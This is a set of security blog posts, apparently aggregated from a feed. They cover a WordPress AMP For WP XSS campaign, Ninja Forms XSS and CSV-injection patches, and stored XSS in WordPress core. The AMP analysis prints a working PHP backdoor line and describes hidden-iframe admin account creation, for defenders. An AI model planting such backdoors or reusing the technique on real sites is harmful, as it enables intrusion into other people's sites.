XSS Injection Campaign Exploits WordPress AMP Plugin

News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites. WordPress contributor Sybre Waaijer identified the security issue and confidentially disclosed it to the WordPress plugins team. To exploit the flaw, an attacker needs to have a minimum of subscriber-level access on a vulnerable site.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

The Wordfence team has identified an XSS (cross-site scripting) campaign that is actively exploiting this security flaw. In the post below, we describe this sophisticated attack campaign in detail. It is critical that site owners using AMP For WP update to the most recent version of this plugin as soon as possible. At the time of writing, the newest version of AMP For WP is version

The Wordfence firewall has a new rule that defends sites against this exploit. This rule has been released to Premium Wordfence customers and will be available for free customers 30 days after release. In addition, the Wordfence firewall has a generic XSS rule which has been available to free and Premium customers for over 2.5 years, which catches most exploits targeting this vulnerability.

In addition, the Wordfence team released malware signatures into production that detect the malware payloads that are being deposited on servers targeted in this attack. These are currently in production for Wordfence Premium customers.

The rest of this post documents the attack campaign that our team has identified, which is exploiting the recent vulnerability discovered in the AMP For WP plugin. The rest of this post is written for security operations teams, developers, vendors and other network defenders. It describes the attack chain and includes IOCs (indicators of compromise) that can be used to improve security products and harden firewalls and intrusion detection systems against this threat.

The Vulnerability

A number of individual security flaws were patched in the recent release of the plugin. The crux of the situation is an overall lack of capabilities checks associated with the plugin’s AJAX hooks. A user needs to have an active login session to make the necessary calls to the plugin and it does not matter what permissions that user has been granted on the impacted site.

The code above from install/index.php iterates over POST data without any capabilities checks.

The active exploits we have identified are leveraging this set of flaws to modify the plugin’s own options stored in the WordPress database.

Attacking The Admin

The most prevalent attacks against this vector attempt to inject the following XSS payload into the victim’s site content with the goal of affecting a logged-in administrator:

If an administrator’s browser executes the malicious JavaScript, it will source a larger payload from its command and control (C2) server at This script, stat.js, contains a number of notable features.

The SendData() function above notifies the C2 server of any actions successfully executed by the malicious JavaScript

One area of concern is the processNewUser() function, which attempts to hijack the affected administrator’s browser session in order to register a new administrator account named supportuuser:

The processNewUser() function attempts to use a hidden iframe to execute the user registration process.

After creating a hidden iframe element on the page being viewed by the affected administrator, the script simulates the process of filling out the New User form. As part of this process it selects the Administrator role and sends a click() event to the submit button to create a new user with admin access.

In addition to the creation of a rogue administrator account, the script also attempts to inject backdoor code into an affected site’s plugins. This is accomplished similarly to the administrator creation above, with a hidden iframe appended to the page’s content and used to simulate an admin’s interactions with the Plugin areas of the dashboard.

The function defined above is used to inject malicious PHP into a site’s plugins.

The PHP backdoors injected into a site’s plugins are as follows:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);


Both of these backdoors are effective ways to allow an attacker to execute arbitrary PHP code on infected sites, even if the rogue administrator account mentioned above is successfully removed.

C2 Server

The command and control (C2) server for this campaign is currently located at This host serves the live version of the JavaScript payload described above, as well as a script used to receive data from affected browser sessions. The domain itself was registered on November 2nd with the Ukrainian company, but the server hosting the domain has been around longer, having been associated with an Apple phishing scam just over a year ago.

Coding Style

As you may have noticed from the screenshots above, the JavaScript file hosted on the C2 server contains a number of commented-out lines apparently used during development by the malware’s author to test various functions. Additionally, the JavaScript itself is uncommonly well-formatted as compared to other malware, where “uglified” or otherwise obfuscated code is the norm. This can change at any time because the script is hosted on the adversary’s server.

While attacks targeting this vulnerability are coming from an array of source addresses, a flaw in the execution of these attacks make them easily trackable. It is common for attack platforms to spoof the User-Agent string of a well known browser in an effort to make their traffic blend in with normal browsing activity. In this case however, the User-Agent string contained in these malicious requests is broken: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Note that in similar User-Agent strings, a version number follows “rv”. This suggests that the attacker intended to rotate or otherwise change the version number in the string programmatically. This broken User-Agent was found in all attacks associated with this adversary.

Indicators Of Compromise (IOCs)

Most Prevalent Attacking IPs


Outbound Domains Accessed


Associated User-Agents

  • Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following example:
    • supportuuser
  • The presence of any unintentionally-introduced JavaScript in any wp_options entries associated with the AMP For WP plugin, which contain the string amp in the option_name field.


This malware campaign is an example of why a stored XSS vulnerability is a high priority issue. When an attacker is able to run their own JavaScript in the browser of a site’s administrator, there are a variety techniques they can employ to pivot further into a site. While the C2 domain in the case of this attack is very new and has yet to appear on the blacklists used by popular browser plugins like uBlock Origin, administrators of mission-critical sites might consider employing an untrusted-by-default model with browser extensions like NoScript.

We considered a content security policy (CSP) as possible mitigation of this attack, but the attacker could modify the XSS payload to be an inline version of the script loaded from the sslapis C2 server.

As always, the best defense against these attacks is to keep your site’s software up to date. AMP For WP’s security fix was available for nearly two weeks before these attacks began, hopefully placing a hard limit on the exploitable attack surface of this vulnerability.

For sites unable to update, or those which have not updated for any other reason, a rule has been added to the Wordfence firewall preventing these attacks. This rule is already in place on all Premium Wordfence users, and will be released to Free Wordfence users after 30 days. However, most attempts at exploiting this vulnerability happen to trigger a preexisting firewall rule built to block generic XSS payloads, and this rule has been protecting free Wordfence users for over 2.5 years. Our team has also released malware signatures into production to detect the malware being deposited on servers targeted in this attack.

Written by Mikey Veenstra with research assistance from Stephen Rees-Carter, James Yokobosky and Matt Barry. 

The post XSS Injection Campaign Exploits WordPress AMP Plugin appeared first on Wordfence.


Ninja Forms Security Updates: What You Need To Know

Yesterday, the popular WordPress plugin Ninja Forms released version 3.3.14, which disclosed and patched two security issues present in the plugin. Upon review of these issues we’ve determined their severity to be moderately low, however due to the plugin’s wide userbase of more than a million active installs we’ve elected to provide a detailed exploration of exactly what these vulnerabilities are and what risks they do pose if left unpatched. As usual, we recommend updating vulnerable versions of the plugin as soon as possible, despite the relatively low risk.

This post is Copyright 2018 Defiant, Inc. and was published on the official blog. Republication of this post without permission is prohibited. You can find this post at:

Cross-Site Scripting (XSS) In Import Function

The first security issue we’ll look at can be found in the WordPress Vulnerability Database as Ninja Forms <= 3.3.13 – Cross-Site Scripting (XSS) in Import Function.

Ninja Forms contains Import/Export functionality which allows privileged users to create a form within the plugin, then save the configuration of that form in a portable .nff file downloaded to their local machine. This file can be used as a backup, migrated to other sites, etc. On import, the text data in the .nff file is parsed and converted into a functional web form.

Because the content of this imported file is ultimately converted into an HTML web form, it’s possible for a user to craft a working .nff file which contains malicious JavaScript code. When the form is displayed, this JavaScript can execute within the browser of anyone viewing the form. Because the Import/Export tool is only available to site administrators, this isn’t necessarily a vulnerability by itself, since if an attacker secured administrative access to the WordPress site they’d be able to install whatever malicious content they had regardless.

However, in unpatched versions of the plugin, it can be possible for malicious actors to manipulate a site administrator into unknowingly importing a bad .nff file. By crafting a link or redirect, or otherwise getting a logged-in administrator to visit an unsafe page, a Ninja Forms import can be triggered regardless of if the administrator has the Import page open at all.

A formatted example of a malicious field in an .nff payload.

If this import successfully triggers, the XSS payload will launch in the browser of any user who views the malicious form. Unless the shortcode for the malicious form is placed on a page or post of the affected site, this is generally limited to only affecting logged-in users who preview the form within their WordPress dashboard.

The patch for this issue adds a nonce to the Import function in the Ninja Forms, which prevents malicious redirects from triggering the import, as the administrator will need to have opened the import page and uploaded the file themselves.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting refers to the practice of injecting malicious code (nearly always JavaScript) into a web page or application with the intention of the payload executing in the browsers of a site’s visitors or administrators. Flaws in vulnerable applications commonly render user input without sanitizing it first, allowing code to be inserted in unexpected ways.

For further reading on XSS flaws, what they are, and how to prevent them, check out How to Prevent Cross Site Scripting Attacks.

What Should I Do?

Once you’ve updated Ninja Forms, take a moment to ensure there are no unknown forms on your site by clicking the Ninja Forms link in the sidebar of your WordPress dashboard (again, you must be logged in with an Administrator account to see this). If there are no unfamiliar forms present, no further action is required.

In the event that you do confirm a malicious form is present, you can delete it from the list of forms by clicking the cog-wheel icon in the rightmost column of its row, then clicking Delete and following the subsequent prompt. Do not click into the form to see what’s inside, as you run the risk of launching a malicious JavaScript payload. 

CSV Injection

The second vulnerability can be found on the WordPress Vulnerability Database as Ninja Forms <= 3.3.13 – CSV Injection.

Unrelated to the Import/Export functionality which allows the forms themselves to be exported, Ninja Forms also includes an Export function for users to archive the submissions to their forms in a .csv file, which can then be opened in a user’s spreadsheet software of choice. It behaves as you’d expect: the value in each field of a submitted form gets placed in its own cell in the spreadsheet, one row per submission.

In unpatched versions of Ninja Forms, if a user submission contains a CSV injection payload in any form fields, the exported .csv file has the potential to perform unsafe actions if opened as a spreadsheet.

What is CSV Injection?

Discussing CSV injection vulnerabilities in the context of web security is tricky, and requires some understanding of what exactly takes place.

Spreadsheet software like Microsoft Excel and LibreOffice Calc allow cells to be populated by a number of different elements. The most common are simple text and numeric values, but it’s likely that you’re also familiar with inserting formulas instead of static values.

Cell C1 displays the value “3”, but is actually a formula that sums the values of A1 and B1.

What many people may not be aware of are the sheer variety of things one can actually accomplish with this sort of syntax. Hyperlinks can be created, data from the affected spreadsheet and other open sheets can be exfiltrated, and system commands can even be executed.

The reason CSV injection is a tricky subject is because there isn’t really an agreement on where the finger should be pointed when it comes up. Fundamentally, the malicious execution takes place within the spreadsheet software itself, which is usually happy to parse and execute any function it sees. However, the argument from the other side is that automatic formula expansion works as intended, and untrusted input should be sanitized before being exported to a .csv document in the first place.

That said, in 2014 LibreOffice Calc and OpenOffice Calc both removed the DDE command execution functionality which allows this sort of command execution. Microsoft Excel instead implemented a warning dialogue, which prompts users to only allow execution if the file came from a trusted source. There’s a pretty strong issue here, though, because who doesn’t trust their own website? Outside of the fact that it’s well-known that most users are happy to click “allow” on any security pop-up they get on their computer, it’s less likely than usual that a user will know to block the execution.

An example of the security prompt triggered by Microsoft Excel.

Any application that generates spreadsheets has the potential to create unsafe files if input from untrusted users is involved. This, combined with the fact that many bug bounty programs (including HackerOne’s own bounty program for its sites) explicitly exclude CSV injection flaws from the scope of their programs, make it a unique issue for the security community at large. Since the concept of CSV injection itself is less a vulnerability in any one piece of software than it is a flaw in the way spreadsheet logic is handled globally, it’s a tough one to squash.

Back On Subject

The original patched version of Ninja Forms sanitizes potentially malicious form fields when they’re exported to a .csv file by prepending a single quote ' to any cell whose value begins with an equals sign =. This effectively prevents any spreadsheet formula from executing when rendered. However, the OWASP recommendation for mitigating CSV injection recommends additionally sanitizing cells beginning with the characters @, +, and -, as certain systems and software may have similar rendering behavior associated with these characters.

With this in mind, I reached out to Zach Skaggs, product owner of Ninja Forms, in order to discuss potentially hardening this patch to prevent these edge-case evasions. Zach was already aware of these alternate characters, and originally determined after some testing that their exploitability was too low to be of concern. While the likelihood of these evasions being successfully implemented in the wild is indeed very low, after some discussion Zach agreed it was worth implementing a patch for these to be safe. A few hours ago at the time of this writing, Ninja Forms was released, which adds this extra hardening.

What Should I Do?

If you’ve performed a CSV export of your Ninja Forms submissions prior to this patch, make sure that no values in any of the cells begin with the characters =, @, +, or -. You will need to perform this review via text editor or command line, as opening the file in spreadsheet software has potential to perform unsafe actions. You can also export a new CSV from a patched version of Ninja Forms to safely replace old exports if you wish.


Despite the potential for harm that can be caused by allowing a malicious spreadsheet document to execute, the flaws patched by Ninja Forms are of low severity. Successful exploitation of both vulnerabilities rely on a number of outside factors:

  • Successfully triggering an import of a malicious .nff file requires some level of interaction by a logged-in administrator of an affected site.
    • If a malicious .nff file is imported, the resulting form needs to then be viewed for the script to execute.
  • Successful implementation of the CSV injection vulnerability requires an administrator to eventually perform a CSV export, which isn’t a behavior an attacker can rely on or predict.
    • If an export is executed, most practical CSV injection payloads are specific to the spreadsheet software in use and the operating system it’s running on. While “Microsoft Excel On Windows” is the most likely combination, the increasing popularity of operating systems like OS X and Linux, as well as open source office software like OpenOffice and LibreOffice, makes this an attack unlikely to be launched outside of very targeted engagements.

To learn more about the cause of these sorts of vulnerabilities, and how to prevent them from popping up in your code, check out our educational series Understanding PHP Vulnerabilities & How They Originate.

The post Ninja Forms Security Updates: What You Need To Know appeared first on Wordfence.


Stored Cross-Site Scripting Vulnerability in WordPress 4.8.1

Stored Cross-Site Scripting Vulnerability in WordPress 4.8.1

During regular research audits for our Sucuri Firewall (WAF), we discovered a source-based stored Cross-Site Scripting (XSS) vulnerability affecting WordPress 4.8.1.

Are You at Risk?

The vulnerability requires an account on the victim’s site with the Contributor role – or any account in a WordPress installation with bbPress plugin, as long as it has posting capabilities (if anonymous posting is allowed then no account is needed).

Continue reading Stored Cross-Site Scripting Vulnerability in WordPress 4.8.1 at Sucuri Blog.


Stored XSS in WordPress Core

Stored XSS in WordPress Core

As you might remember, we recently blogged about a critical Content Injection Vulnerability in WordPress which allowed attackers to deface vulnerable websites. While our original disclosure only described one vulnerability, we actually reported two to the WordPress team. As it turns out, it was possible to leverage the content injection issue to achieve a stored cross-site scripting attack. This issue was patched in WordPress 4.7.3.

Are You at Risk?

This vulnerability has been present in WordPress for quite a while, well before 4.7.

Continue reading Stored XSS in WordPress Core at Sucuri Blog.